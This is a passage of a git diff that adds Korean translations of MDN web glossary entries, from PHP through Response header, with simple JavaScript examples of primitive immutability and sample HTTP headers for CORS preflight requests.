+<p><strong>PHP</strong>(PHP: Hypertext Preprocessor)는 웹 응용 프로그램과 동적 웹 사이트를 구축하는 데 사용되는 오픈 소스 서버 측 스크립팅 언어입니다. 원래는 동적 웹 페이지를 만들기 위해 설계되었으며 이를 구현하기 위해 PHP로 작성된 코드를 HTML 소스 문서 안에 넣으면 PHP 처리 기능이 있는 웹 서버에서 해당 코드를 인식하여 작성자가 원하는 웹 페이지를 생성한다. 근래에는 PHP 코드와 HTML을 별도 파일로 분리하여 작성하는 경우가 일반적이며, PHP 또한 웹서버가 아닌 php-fpm(PHP FastCGI Process Manager)을 통해 실행하는 경우가 늘어나고 있습니다.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<ul>
+ <li><a href="http://php.net/">Official website</a></li>
+ <li>{{Interwiki("Wikipedia", "PHP")}} on Wikipedia</li>
+ <li><a href="https://en.wikibooks.org/wiki/PHP_Programming">PHP</a> on Wikibooks</li>
+</ul>
diff --git a/files/ko/glossary/pixel/index.html b/files/ko/glossary/pixel/index.html
new file mode 100644
index 0000000000..e362dc837e
--- /dev/null
+++ b/files/ko/glossary/pixel/index.html
@@ -0,0 +1,16 @@
+---
+title: Pixel
+slug: Glossary/Pixel
+translation_of: Glossary/Pixel
+---
+<p>픽셀(pixel)은 컴퓨터 화면과 같은 그래픽 디스플레이의 가장 작은 구성 단위이다.</p>
+
+<p>디스플레이 해상도는 픽셀 단위로 표시된다. 예를 들어: "800 x 600" 픽셀 해상도는 폭 800 픽셀, 높이 600 픽셀을 표시할 수 있음을 의미한다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="기술적_참조">기술적 참조</h3>
+
+<ul>
+ <li>Wikipedia의 <a href="https://en.wikipedia.org/wiki/Pixel">Pixel </a></li>
+</ul>
diff --git a/files/ko/glossary/png/index.html b/files/ko/glossary/png/index.html
new file mode 100644
index 0000000000..7a261a12a9
--- /dev/null
+++ b/files/ko/glossary/png/index.html
@@ -0,0 +1,14 @@
+---
+title: PNG
+slug: Glossary/PNG
+translation_of: Glossary/PNG
+---
+<p><strong>PNG </strong>(Portable Network Graphics)는 무손실 데이터 압축을 지원하는 그래픽 파일 형식이다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>Wikipedia의 <a href="https://en.wikipedia.org/wiki/Portable_Network_Graphics">PNG</a></li>
+</ul>
diff --git a/files/ko/glossary/polyfill/index.html b/files/ko/glossary/polyfill/index.html
new file mode 100644
index 0000000000..d1098491cc
--- /dev/null
+++ b/files/ko/glossary/polyfill/index.html
@@ -0,0 +1,22 @@
+---
+title: Polyfill
+slug: Glossary/Polyfill
+translation_of: Glossary/Polyfill
+---
+<p>polyfill은 기본적으로 지원하지 않는 이전 브라우저에서 최신 기능을 제공하는 데 필요한 코드 (일반적으로 웹의 JavaScript)입니다.</p>
+
+
+
+<p>예를 들어, Silverlight 플러그인을 사용하여 Microsoft Internet Explorer 7에서 HTML Canvas 요소의 기능을 모방하거나 CSS rem 단위 또는 {{cssxref("text-shadow")}}를 모방하는 등 필요한 모든 것에 polyfill을 사용할 수 있습니다.</p>
+
+<p>polyfill이 독점적으로 사용되지 않는 이유는 더 나은 기능성과 더 나은 성능을 위해서 입니다. API의 기본 구현은 polyfill보다 더 많은 작업을 수행 할 수 있고 더 빠릅니다. 예를 들어 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create#Polyfill">Object.create polyfill</a>에는Object.create 구현에서 가능한 기능 만 포함됩니다.</p>
+
+<p>다른 경우, 폴리 필은 브라우저가 다른 방식으로 동일한 기능을 구현하는 문제를 해결하는 데 사용됩니다. 폴리 필은 특정 브라우저에서 비표준 기능을 사용하여 JavaScript에 기능에 액세스 할 수있는 표준 준수 방법을 제공합니다. 폴리 필링에 대한 이러한 이유는 오늘날 매우 드물지만 각 브라우저가 Javascript를 매우 다르게 구현 한 IE6, Netscape 및 NNav 시대에 특히 널리 퍼졌습니다. <a href="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.js">JQuery의 첫번째 버전</a>은 폴리 필의 초기 예입니다. JavaScript 개발자는 모든 브라우저에서 작동하는 단일 공통 API를 가질 수 있도록 기본적으로 브라우저 별 해결 방법을 편집 한 것입니다. 당시 자바 스크립트 개발자는 웹 사이트가 완전히 다른 방식으로 프로그래밍되어야하고 사용자의 브라우저에 따라 다른 사용자 인터페이스를 가져야하는 브라우저 간 불일치로 인해 모든 장치에서 웹 사이트를 작동 시키려고 노력하고있었습니다. . 따라서 JavaScript 개발자는 모든 브라우저에서 거의 일관되게 작동하는 아주 작은 소수의 JavaScript API에만 액세스 할 수있었습니다. 현대 브라우저는 대부분 표준 시맨틱에 따라 광범위한 API 세트를 구현하기 때문에 폴리 필을 사용하여 브라우저 별 구현을 처리하는 것은 오늘날 실제로 존재하지 않습니다.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li><a href="https://remysharp.com/2010/10/08/what-is-a-polyfill">What is a polyfill?</a> (article by Remy Sharp, originator of the term)</li>
+</ul>
diff --git a/files/ko/glossary/preflight_request/index.html b/files/ko/glossary/preflight_request/index.html
new file mode 100644
index 0000000000..94678a9bb3
--- /dev/null
+++ b/files/ko/glossary/preflight_request/index.html
@@ -0,0 +1,34 @@
+---
+title: 사전 요청
+slug: Glossary/Preflight_request
+translation_of: Glossary/Preflight_request
+---
+<p>교차 출처 리소스 공유 사전 요청은 본격적인 교차 출처 HTTP 요청 전에 서버 측에서 그 요청의 메서드와 헤더에 대해 인식하고 있는지를 체크하는 것입니다.</p>
+
+<p>이것은 HTTPHeader("Access-Control-Request-Method"), HTTPHeader("Access-Control-Request-Headers"), HTTPHeader("Origin") 총 3가지의 HTTP request headers를 사용하는 HTTPMethod("OPTIONS") 요청입니다.</p>
+
+<p>사전 요청은 일반적인 상황에서는 브라우저에서 자동으로 발생됩니다. 그러므로 프런트엔드 개발자가 이 요청을 직접 작성할 필요는 없습니다. 또한 프리 플라이트 요청이 필요한 경우에만 나타나므로 단순 요청(simple requests)의 경우에는 사전 요청이 생략됩니다.</p>
+
+<p>예를 들어, 클라이언트는  DELETE 요청을 하기 전에 사전 요청을 통해 서버가 HTTPMethod("DELETE")을 허용하는지 물어볼 수 있습니다.</p>
+
+<pre class="notranslate">OPTIONS /resource/foo
+Access-Control-Request-Method: DELETE
+Access-Control-Request-Headers: origin, x-requested-with
+Origin: https://foo.bar.org</pre>
+
+<p>만약 서버가 그것을 허용한다면, 응답 헤더에 HTTPHeader("Access-Control-Allow-Methods")라고 나타나게 됩니다.</p>
+
+<pre class="notranslate">HTTP/1.1 204 No Content
+Connection: keep-alive
+Access-Control-Allow-Origin: https://foo.bar.org
+Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE
+Access-Control-Max-Age: 86400</pre>
+
+<p>위의 예와 같이, 동일한 URL을 사용하는 요청에 대해서는 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age">Access-Control-Max-Age</a> 헤더를 이용하여 정해진 기간 내에는 사전 요청에 대한 응답이 선택적으로 이루어질 수 있습니다.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Glossary/CORS">CORS</a></li>
+ <li>{{HTTPMethod("OPTIONS")}}</li>
+</ul>
diff --git a/files/ko/glossary/primitive/index.html b/files/ko/glossary/primitive/index.html
new file mode 100644
index 0000000000..8f12b18da8
--- /dev/null
+++ b/files/ko/glossary/primitive/index.html
@@ -0,0 +1,125 @@
+---
+title: 원시 값
+slug: Glossary/Primitive
+tags:
+  - CodingScripting
+  - Glossary
+  - JavaScript
+translation_of: Glossary/Primitive
+---
+<p>{{Glossary("JavaScript")}}에서 <strong>원시 값</strong>(primitive, 또는 원시 자료형)이란 {{Glossary("object", "객체")}}가 아니면서 {{glossary("method", "메서드")}}도 가지지 않는 데이터입니다. 원시 값에는 6종류, {{Glossary("string")}}, {{Glossary("number")}}, {{glossary("bigint")}}, {{Glossary("boolean")}}, {{Glossary("undefined")}}, {{Glossary("symbol")}}이 존재합니다. 겉보기엔 원시 값처럼 보이는 {{glossary("null")}}도 있지만, 사실 모든 {{jsxref("Object")}}, 모든 구조화된 자료형은 <a href="/ko/docs/Learn/JavaScript/Objects/Inheritance">프로토타입 체인</a>에 따라 null의 자손입니다.</p>
+
+<p>대부분의 경우, 원시 값은 언어 구현체의 가장 저급(low level) 단계에서 나타냅니다.</p>
+
+<p>모든 원시 값은 <strong>불변</strong>하여 변형할 수 없습니다. 원시 값 자체와, 원시값을 할당한 변수를 혼동하지 않는 것이 중요합니다. 변수는 새로운 값을 다시 할당할 수 있지만, 이미 생성한 원시 값은 객체, 배열, 함수와는 달리 변형할 수 없습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 원시 값이 <strong>불변</strong>함을 이해할 때 도움이 됩니다.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js line-numbers  language-js notranslate" dir="rtl">// 문자열 메서드는 문자열을 변형하지 않음
+var bar = "baz";
+console.log(bar);        // baz
+bar.toUpperCase();
+console.log(bar);        // baz
+
+// 배열 메소드는 배열을 변형함
+var foo = [];
+console.log(foo);        // []
+foo.push("plugh");
+console.log(foo);        // ["plugh"]
+
+// 할당은 원시 값에 새로운 값을 부여 (변형이 아님)
+bar = bar.toUpperCase(); // BAZ
+</pre>
+
+<p>원시 값을 교체할 수는 있지만, 직접 변형할 수는 없습니다.</p>
+
+<h2 id="또_다른_예제_단계별_정리">또 다른 예제 [단계별 정리]</h2>
+
+<p>다음 예제는 JavaScript가 원시값을 다루는 방법을 이해하는데 도움이 됩니다.</p>
+
+<h3 id="JavaScript_2">JavaScript</h3>
+
+<pre class="brush: js line-numbers language-html language-js notranslate">// 원시 값
+let foo = 5;
+
+// 원시 값을 변경해야 하는 함수 정의
+function addTwo(num) {
+   num += 2;
+}
+// 같은 작업을 시도하는 다른 함수
+function addTwo_v2(foo) {
+   foo += 2;
+}
+
+// 원시 값을 인수로 전달해 첫 번째 함수를 호출
+addTwo(foo);
+// 현재 원시 값 반환
+console.log(foo);   // 5
+
+// 두 번째 함수로 다시 시도
+addTwo_v2(foo);
+console.log(foo);   // 5
+</pre>
+
+<p><code>5</code> 대신 <code>7</code> 일 것이라고 예상하였나요? 그렇다면, 이 코드의 실행 과정을 살펴보세요.</p>
+
+<ul>
+ <li><code>addTwo</code> 와 <code>addTwo_v2</code> 함수 호출을 위해, JavaScript는 {{glossary("identifier", "식별자")}} <code>foo</code> 의 값을 찾습니다. 이는 인스턴스화된 첫 번째 구문의 변수를 올바르게 찾습니다.</li>
+ <li>찾은 다음, JavaScript는 인수를 함수의 매개변수로서 전달합니다.</li>
+ <li>함수의 본문 내 구문들을 실행하기 전에, <strong>JavaScript는 원래 전달된 인수(원시 값)를 복사해</strong> 로컬 복사본을 생성합니다. 이러한 복사본은 함수의 스코프 내에서만 존재하며, 함수 정의 내에 지정한 식별자를 통해 접근가능합니다(<code>addTwo</code> 의 <code>num</code>, <code>addTwo_v2</code> 의 <code>foo</code>).</li>
+ <li>그 후, 함수의 구문들이 실행됩니다.
+  <ul>
+   <li>첫 번째 함수내에서, 로컬 <code>num</code> 인수가 생성되었습니다. 이 값을 2 증가시키는 것이며, 원래 <code>foo</code> 의 값이 아닙니다!</li>
+   <li>두 번째 함수내에서, 로컬 <code>foo</code> 인수가 생성되었습니다. 이 값을 2 증가시키는 것이며, 원래(외부) <code>foo</code> 의 값이 아닙니다! 또한, 이 경우에서, 외부 <code>foo</code> 변수에는 <strong>어떤 방법으로든</strong> 접근할 수 없습니다. 이는 자바스크립트의 어휘적 유효 범위(lexical scoping)와 결과 변수 섀도잉 때문입니다. 로컬 <code>foo</code> 는 외부 <code>foo</code> 를 숨깁니다. 자세한 내용은, <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Closures">클로저</a> 문서를 보세요.</li>
+  </ul>
+ </li>
+ <li>결과적으로, 우리 함수들 내부의 모든 변경은 그 <strong>복사본</strong>으로 작업하였기 때문에, 원본 <code>foo</code> 에 전혀 영향을 주지 <strong>않았습니다</strong>.</li>
+</ul>
+
+<p>이것이 원시 값이 변하지 않는 이유입니다. 원시 값에 직접 작업하지 않으므로, 원본을 건드리지 않고 복사본 가져와 계속 작업을 합니다.</p>
+
+<h2 id="JavaScript에서의_원시_래퍼_객체">JavaScript에서의 원시 래퍼 객체</h2>
+
+<p><code>null</code>과 <code>undefined</code> 를 제외하고, 모든 원시 값은 원시 값을 래핑한 객체를 갖습니다.</p>
+
+<ul>
+ <li>문자열 원시 값을 위한 {{jsxref("String")}} 객체.</li>
+ <li>숫자 원시 값을 위한 {{jsxref("Number")}} 객체.</li>
+ <li>빅인트 원시 값을 위한 {{jsxref("BigInt")}} 객체.</li>
+ <li>불리언 원시 값을 위한 {{jsxref("Boolean")}} 객체.</li>
+ <li>심볼 원시 값을 위한 {{jsxref("Symbol")}} 객체.</li>
+</ul>
+
+<p>래퍼 객체의 {{jsxref("Object.valueOf", "valueOf()")}} 메서드는 원시 값을 반환합니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Data_structures">JavaScript의 자료형 소개</a></li>
+ <li>위키백과 {{Interwiki("wikipedia", "원시 자료형")}}</li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/ko/docs/Glossary">용어 사전</a>
+
+  <ol>
+   <li>{{Glossary("JavaScript")}}</li>
+   <li>{{Glossary("string")}}</li>
+   <li>{{Glossary("number")}}</li>
+   <li>{{Glossary("bigint")}}</li>
+   <li>{{Glossary("boolean")}}</li>
+   <li>{{Glossary("null")}}</li>
+   <li>{{Glossary("undefined")}}</li>
+   <li>{{Glossary("symbol")}}</li>
+  </ol>
+ </li>
+ <li><a href="/ko/docs/Web/JavaScript/Data_structures">JavaScript의 자료형</a></li>
+</ol>
+</section>
diff --git a/files/ko/glossary/progressive_enhancement/index.html b/files/ko/glossary/progressive_enhancement/index.html
new file mode 100644
index 0000000000..aff10459e9
--- /dev/null
+++ b/files/ko/glossary/progressive_enhancement/index.html
@@ -0,0 +1,24 @@
+---
+title: 점진적 향상
+slug: Glossary/Progressive_Enhancement
+tags:
+  - 단계적 향상
+  - 점진적 향상
+  - 접근성
+translation_of: Glossary/Progressive_Enhancement
+---
+<p><strong>점진적 향상</strong>은 가능한 많은 사용자에게 필수 콘텐츠와 기능을 제공하기 위한 설계 철학이다. 나아가 필요한 모든 코드를 실행할 수 있는 최신 브라우저 사용자에게 최상의 경험을 제공한다.</p>
+
+<p><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">기능 탐지</a>는 일반적으로 브라우저가 고급 콘텐츠를 다룰 수 있는지 여부를 판단하는데 사용한다. 자바스크립트 <a href="/en-US/docs/Glossary/Polyfill">폴리필</a>과 함께 누락한 기능을 구현하는데 종종 사용한다.</p>
+
+<p>접근성에 대한 특별한 고지가 있어야 한다. 가능하다면 수용할 수 있는 대체 수단을 제공하는 것이 좋다.</p>
+
+<p>알려지지 않은 다양한 사용자 에이전트가 웹 사이트에 접근할 때 웹 개발자가 여러 문제를 저울질하며 최상의 웹 사이트를 개발하도록 집중할 수 있는 유용한 기법이다. {{Glossary("Graceful degradation", "단계적 기능 축소")}}는 관련이 있지만 다르다. 종종 점진적 향상과 반대인 것처럼 보인다. 실제로 두 접근법은 유효하고 서로를 보완할 수 있다.</p>
+
+<h2 id="더_배우기">더 배우기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Progressive enhancement")}} on Wikipedia</li>
+</ul>
diff --git a/files/ko/glossary/protocol/index.html b/files/ko/glossary/protocol/index.html
new file mode 100644
index 0000000000..4546dd4c2b
--- /dev/null
+++ b/files/ko/glossary/protocol/index.html
@@ -0,0 +1,26 @@
+---
+title: 프로토콜
+slug: Glossary/Protocol
+tags:
+  - Glossary
+  - Infrastructure
+translation_of: Glossary/Protocol
+---
+<p id="Summary"><strong>프로토콜</strong>은 컴퓨터 내부에서, 또는 컴퓨터 사이에서 데이터의 교환 방식을 정의하는 규칙 체계입니다. 기기 간 통신은 교환되는 데이터의 형식에 대해 상호 합의를 요구합니다. 이런 형식을 정의하는 규칙의 집합을 프로토콜이라고 합니다. </p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>위키백과 {{Interwiki("wikipedia", "통신 프로토콜")}} </li>
+ <li><a href="http://www.rfc-editor.org/search/standards.php">RFC Official Internet Protocol Standards</a></li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Glossary/TCP">TCP</a></li>
+ <li><a href="/ko/docs/Web/HTTP/Overview">HTTP 개요</a></li>
+ <li><a href="/ko/docs/Glossary/Packet">패킷</a></li>
+</ul>
diff --git a/files/ko/glossary/prototype-based_programming/index.html b/files/ko/glossary/prototype-based_programming/index.html
new file mode 100644
index 0000000000..a01cd24f14
--- /dev/null
+++ b/files/ko/glossary/prototype-based_programming/index.html
@@ -0,0 +1,19 @@
+---
+title: 프로토타입 기반 프로그래밍
+slug: Glossary/Prototype-based_programming
+tags:
+  - CodingScripting
+  - Glossary
+translation_of: Glossary/Prototype-based_programming
+---
+<p><strong>프로토타입 기반 프로그래밍</strong>은 {{Glossary("OOP", "객체 지향 프로그래밍")}}과 달리 클래스를 명확히 정의하지 않아도 되며, 속성과 메서드를 다른 클래스의 인스턴스나 빈 객체에 추가하는 작업을 덜 수 있는 프로그래밍 스타일 입니다.</p>
+
+<p>간단히 말하면 이 프로그래밍 스타일은 어떤 {{Glossary('Object', '객체')}}를 생성할 때 처음 그 객체의 {{Glossary('Class', '클래스')}}를 정의하지 않는 것을 허용합니다.</p>
+
+<h2 id="더_배우기">더 배우기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "프로토타입_기반_프로그래밍", "프로토타입 기반 프로그래밍")}} on 위키피디아</li>
+</ul>
diff --git a/files/ko/glossary/prototype/index.html b/files/ko/glossary/prototype/index.html
new file mode 100644
index 0000000000..3fd818bfee
--- /dev/null
+++ b/files/ko/glossary/prototype/index.html
@@ -0,0 +1,16 @@
+---
+title: Prototype
+slug: Glossary/Prototype
+translation_of: Glossary/Prototype
+---
+<p>프로토타입은 개발 사이클의 초기 단계에서 제품 혹은 어플리케이션의 외형이나 동작을 보여줄 수 있는 모델을 의미합니다. </p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">상속과 프로토타입 체인</a>에 대해서도 살펴보세요.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Software Prototyping")}} on Wikipedia</li>
+</ul>
diff --git a/files/ko/glossary/proxy_server/index.html b/files/ko/glossary/proxy_server/index.html
new file mode 100644
index 0000000000..48a2fa7c00
--- /dev/null
+++ b/files/ko/glossary/proxy_server/index.html
@@ -0,0 +1,20 @@
+---
+title: 프록시 서버
+slug: Glossary/Proxy_server
+translation_of: Glossary/Proxy_server
+---
+<p>프록시 서버란 인터넷 상의 여러 네트워크들에 접속할 때 중계 역할을 해주는 프로그램 또는 컴퓨터를 말한다. 월드 와이드 웹(World Wide Web) 상의 컨텐츠에 쉽게 접근할 수 있도록 도와준다. 프록시는 리퀘스트를 가로챈 뒤(intercepts) 리스폰스를 돌려준다. 이렇게 가로챈 리퀘스트를 전달해줄 수도, 아닐 수도(예시. 캐시인 경우), 수정할 수도 있다(예시. 서로 다른 두 네트워크 간의 경계에서 헤더를 바꾸는 경우)  </p>
+
+<p>프록시는 사용자의 로컬 컴퓨터에 존재할 수도 있고, 인터넷 상에서 사용자의 컴퓨터와 목표 서버 사이 그 어느 곳에든 존재할 수 있다. 일반적으로 크게 주로 2가지 종류의 프록시 서버가 존재한다.</p>
+
+<ul>
+ <li>포워드 프록시(forward proxy)는 인터넷 상에서 어디로든지 리퀘스트를 전송해주는 프록시이다.</li>
+ <li>리버스 프록시(reverse proxy)는 인터넷에서 리퀘스트를 받으면, 내부망 내의 서버로 전송해준다.</li>
+</ul>
+
+<h2 id="Learn_More">Learn More</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling">Proxy servers and tunneling </a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Proxy_server">Proxy server</a> on Wikipedia</li>
+</ul>
diff --git a/files/ko/glossary/pseudocode/index.html b/files/ko/glossary/pseudocode/index.html
new file mode 100644
index 0000000000..a604a3231e
--- /dev/null
+++ b/files/ko/glossary/pseudocode/index.html
@@ -0,0 +1,14 @@
+---
+title: Pseudocode
+slug: Glossary/Pseudocode
+translation_of: Glossary/Pseudocode
+---
+<p>의사 코드(Pseudocode)는 일반적으로 사람에게 일부 코드 구문의 작동 방식을 나타내거나 코드 아키텍처 항목의 디자인을 설명하는 데 사용되는 코드와 유사한 구문을 나타냅니다. 그것은 아마도 코드로 실행시키려고 하면 작동하지 <strong>않을 것입니다.</strong></p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식"><strong>일반적인 지식</strong></h3>
+
+<ul>
+ <li>Wikipedia의 {{interwiki("wikipedia", "Pseudocode", "Pseudocode")}} </li>
+</ul>
diff --git a/files/ko/glossary/python/index.html b/files/ko/glossary/python/index.html
new file mode 100644
index 0000000000..f625034195
--- /dev/null
+++ b/files/ko/glossary/python/index.html
@@ -0,0 +1,22 @@
+---
+title: Python
+slug: Glossary/Python
+translation_of: Glossary/Python
+---
+<p><strong>Python</strong> 은 고도의 범용 프로그래밍 언어다. 그것은 절차적, 객체지향적, 그리고 일부 기능적 프로그래밍 구조를 지원하는 다변수적 접근방식을 사용한다.</p>
+
+<p>1985년에서 1990년 사이에 다른 언어(ABC라고 불리는)의 계승자로 불리는 귀도 반 로섬에 의해 만들어졌으며, 현재는 웹 개발, 데스크톱 애플리케이션, 데이터 과학, DevOps, 자동화/생산성과 같은 다양한 영역에서 사용되고 있다.</p>
+
+<p>Python은 OSI가 승인한 오픈 소스 라이센스로 개발되어 상업적인 용도로도 자유롭게 사용할 수 있고 사용할 수 있다. Python의 라이선스는  <a href="https://www.python.org/psf">Python Software Foundation</a>에 의해 관리된다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<ul>
+ <li>Wikipedia의 {{interwiki('wikipedia','Python (programming language)','Python')}} </li>
+ <li><a href="https://docs.python.org/3/tutorial/index.html">Official Python docs tutorials</a></li>
+ <li><a href="http://www.tutorialspoint.com/python/index.htm">Tutorialspoint Python tutorial</a></li>
+ <li><a href="https://alphacodingskills.com/python/python-tutorial.php">AlphaCodingSkills Python Tutorial</a></li>
+ <li>
+  <p>MDN의 <a href="/en-US/docs/Learn/Server-side/Django">Django Web Framework (Python)</a> </p>
+ </li>
+</ul>
diff --git a/files/ko/glossary/reflow/index.html b/files/ko/glossary/reflow/index.html
new file mode 100644
index 0000000000..334e7027fc
--- /dev/null
+++ b/files/ko/glossary/reflow/index.html
@@ -0,0 +1,12 @@
+---
+title: Reflow
+slug: Glossary/Reflow
+translation_of: Glossary/Reflow
+---
+<p>대화형 사이트에서 업데이트 한 후와 같이 {{glossary("browser")}}가 웹 페이지의 일부 또는 전부를 다시 처리하고 그려야할 때 <strong>리플로우</strong>가 발생한다.</p>
+
+<h2 id="더_배우기">더 배우기</h2>
+
+<ul>
+ <li><a href="https://developers.google.com/speed/articles/reflow">구글 게시물 "브라우저 리플로우 최소화하기"</a></li>
+</ul>
diff --git a/files/ko/glossary/regular_expression/index.html b/files/ko/glossary/regular_expression/index.html
new file mode 100644
index 0000000000..279785d383
--- /dev/null
+++ b/files/ko/glossary/regular_expression/index.html
@@ -0,0 +1,27 @@
+---
+title: 정규식
+slug: Glossary/Regular_expression
+tags:
+  - 문법
+  - 정규표현식
+translation_of: Glossary/Regular_expression
+---
+<p>정규식(Regular expressions or <em>regex</em>)은 연속적인 문자들을 검색하는 제어방법입니다.</p>
+
+<p>정규식은 다양한 언어에서 구현되지만 펄 스크립트 언어에서 가장 잘 구현되어 있으며, 이는 PCRE (<em>Perl Compatible Regular Expression</em>)라고 불리는 자체 문법 체계를 구현했습니다. 웹상에서, {{glossary("JavaScript")}} 는{{jsxref("RegExp")}}를 통해 또다른 정규 표현식 문법을 제공합니다.</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "정규 표현식")}} on Wikipedia</li>
+ <li><a href="http://regexone.com/">Interactive tutorial</a></li>
+ <li><a href="http://regexper.com/">정규 표현식 시각화</a></li>
+</ul>
+
+<h3 id="기술_문서">기술 문서</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/%EC%A0%95%EA%B7%9C%EC%8B%9D">정규식 in JavaScript</a></li>
+</ul>
diff --git a/files/ko/glossary/request_header/index.html b/files/ko/glossary/request_header/index.html
new file mode 100644
index 0000000000..4963c8e43b
--- /dev/null
+++ b/files/ko/glossary/request_header/index.html
@@ -0,0 +1,41 @@
+---
+title: 요청 헤더
+slug: Glossary/Request_header
+translation_of: Glossary/Request_header
+---
+<p><strong>요청 헤더</strong>는 HTTP 요청에서 사용되지만 메시지의 컨텐츠와는 관련이 없는 {{glossary("header", "HTTP 헤더")}}입니다. {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language", "Accept-*")}}, {{HTTPHeader("If-Modified-Since", "If-*")}}와 같은 요청 헤더들은 조건부 요청 수행을 허용합니다. {{HTTPHeader("Cookie")}}, {{HTTPHeader("User-Agent")}}, {{HTTPHeader("Referer")}}와 같은 다른 것들은 컨텍스트를 정확히 나타내어 서버가 응답에 맞출 수 있게합니다.</p>
+
+<p>요청에 나타나는 모든 헤더가 요청 헤더인것은 아닙니다. 예를 들면, {{HTTPMethod("POST")}} 요청에 나타나는 {{HTTPHeader("Content-Length")}}는 실제로 요청 메시지 바디의 크기를 참조하는 {{glossary("entity header")}}입니다. 하지만, 이러한 엔티티 헤더는 종종 컨텍스트와 같은 요청 헤더라 불립니다.</p>
+
+<p>부가적으로, <a href="/ko/docs/Glossary/CORS">CORS</a>는 요청 헤더의 하위 집합을 {{glossary('simple header', 'simple 헤더')}}로 정의하고, 항상 인증된것으로 고려되며 {{glossary("preflight request", "preflight")}} 요청에 대한 응답에 명시적으로 나열되지않는 요청 헤더를 정의합니다.</p>
+
+<p>{{HTTPMethod("GET")}} 요청 이후의 몇 가지 요청 헤더입니다.</p>
+
+<pre>GET /home.html HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/testpage.html
+Connection: keep-alive
+Upgrade-Insecure-Requests: 1
+If-Modified-Since: Mon, 18 Jul 2016 02:36:04 GMT
+If-None-Match: "c561c68d0ba92bbeb8b0fff2a9199f722e3a621a"
+Cache-Control: max-age=0</pre>
+
+<p>엄밀히 말해서, 이 예시의 {{HTTPHeader("Content-Length")}} 헤더는 다른 것들처럼 요청 헤더가 아니며 {{glossary("entity header")}}입니다.</p>
+
+<pre>POST /myform.html HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Content-Length: 128
+</pre>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="기술적_지식">기술적 지식</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTTP/Headers">모든 HTTP 헤더 목록</a></li>
+</ul>
diff --git a/files/ko/glossary/response_header/index.html b/files/ko/glossary/response_header/index.html
new file mode 100644
index 0000000000..29886082c9
--- /dev/null
+++ b/files/ko/glossary/response_header/index.html
@@ -0,0 +1,39 @@
+---
+title: 응답 헤더
+slug: Glossary/Response_header
+tags:
+  - WebMechanics
+  - 용어
+translation_of: Glossary/Response_header
+---
+<p><strong>응답 헤더</strong>는 HTTP 응답에서 사용될 수 있는 {{glossary("header", "HTTP 헤더")}}이며, 메시지의 컨텐츠와는 관련이 없습니다. {{HTTPHeader("Age")}}, {{HTTPHeader("Location")}} 또는 {{HTTPHeader("Server")}}와 같은 응답 헤더는 더 상세한 응답의 컨텍스트를 제공하기위해 사용됩니다.</p>
+
+<p>응답에 나타나는 모든 헤더가 <em>응답 헤더</em>인것은 아닙니다. 예를 들어, {{HTTPHeader("Content-Length")}} 헤더는 응답 메시지 바디의 크기를 참조하는 {{glossary("entity header")}}입니다. 그러나 이러한 엔티티 요청은 보통 컨텍스트에서 응답 헤더로 불립니다.</p>
+
+<p>다음은 {{HTTPMethod("GET")}} 요청 이후의 몇 가지 응답 헤더를 보여줍니다. 엄밀히 말하면, {{HTTPHeader("Content-Encoding")}}과 {{HTTPHeader("Content-Type")}} 헤더는 {{glossary("entity header")}}임을 유의하세요.</p>
+
+<pre>200 OK
+Access-Control-Allow-Origin: *
+Connection: Keep-Alive
+Content-Encoding: gzip
